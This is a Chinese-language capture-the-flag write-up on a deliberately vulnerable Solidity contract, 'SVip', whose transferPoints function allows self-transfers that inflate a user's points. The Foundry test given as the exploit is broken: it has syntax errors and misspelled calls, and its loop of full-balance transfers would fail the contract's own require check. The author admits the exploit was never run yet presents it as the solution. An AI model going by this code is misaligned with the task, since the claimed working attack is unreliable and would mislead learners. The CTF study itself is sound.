CTF-SVip 首先先看题目代码
// pragma solidity 0.4.24; //这是原来的版本,很奇怪不知道为啥无法在foundry编译,所以换成以下版本 pragma solidity ^0.8.13; contract SVip { // 一个地址记录一个分数 mapping(address => uint) public points; // 查看某地址是不是超级VIP mapping(address => bool) public isSuperVip; uint256 public numOfFree; // 用户成为超级VIP需要999分数 function promotionSVip() public { require(points[msg.sender] >= 999, "Sorry, you don't have enough points"); isSuperVip[msg.sender] = true; } // 领取免费分数,所有人领取的分数加起来不得等于100 function getPoint() public{ require(numOfFree < 100); points[msg.sender] += 1; numOfFree++; } // 送分,明显是存在发给自己这种漏洞情况 function transferPoints(address to, uint256 amount) public { uint256 tempSender = points[msg.sender]; uint256 tempTo = points[to]; require(tempSender > amount); require(tempTo + amount > amount); points[msg.sender] = tempSender - amount; points[to] = tempTo + amount; } // 任务是成为超级VIP function isComplete() public view returns(bool) { require(isSuperVip[msg.sender]); return true; } }
虽然免费领取的分数有100的上限,但是有个途径可以让我们有增加分数的机会,就是在transferPoints函数中,就存在一个自我的转账的机会,让自己的分数增加,(由于我克隆的仓库出现了网络的问题,所以不能 实现一个复现了)
测试代码:
//SPDX-License-Identifier: MIT pragam solidity^0.8.0; import "forge-std/Test.sol" import "src/SVip.sol" contract hack is test{ SVip svip; function setUp() public { svip = new SVip(); } function test_SVip() public { //首先领取分数 for (int i = 0; i<20;i++) svip.getPoint(); //通过自我转账来实现分数的999,因为转账一次翻俩倍 //20->40->80->160->320->640->1280 for(int i = 0; i< 6;i++ ) svip.tranferPoint(address(this),points(address(this))); svip.promotionSVip(); assert(svip.isComplete(),ture); } }
这样的可以解决了